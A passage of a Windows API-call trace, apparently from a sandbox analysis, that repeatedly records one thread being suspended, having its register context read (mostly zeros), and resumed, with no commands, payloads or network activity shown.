[100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0078.329] ResumeThread (hThread=0x118) returned 0x1
[0078.330] CloseHandle (hObject=0x118) returned 1
[0078.330] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0078.406] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0078.406] SuspendThread (hThread=0x118) returned 0x0
[0078.406] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff5b0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a95c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0078.474] ResumeThread (hThread=0x118) returned 0x1
[0078.474] CloseHandle (hObject=0x118) returned 1
[0078.474] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0078.559] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0078.559] SuspendThread (hThread=0x118) returned 0x0
[0078.559] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff768, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12e99e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0078.631] ResumeThread (hThread=0x118) returned 0x1
[0078.631] CloseHandle (hObject=0x118) returned 1
[0078.631] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0078.705] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0078.705] SuspendThread (hThread=0x118) returned 0x0
[0078.705] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff360, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12e0340, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0078.785] ResumeThread (hThread=0x118) returned 0x1
[0078.785] CloseHandle (hObject=0x118) returned 1
[0078.785] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0078.878] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0078.878] SuspendThread (hThread=0x118) returned 0x0
[0078.878] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000111430, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12b3600, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0078.969] ResumeThread (hThread=0x118) returned 0x1
[0078.969] CloseHandle (hObject=0x118) returned 1
[0078.969] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0079.218] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0079.268] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0079.357] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0079.434] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0079.434] SuspendThread (hThread=0x118) returned 0x0
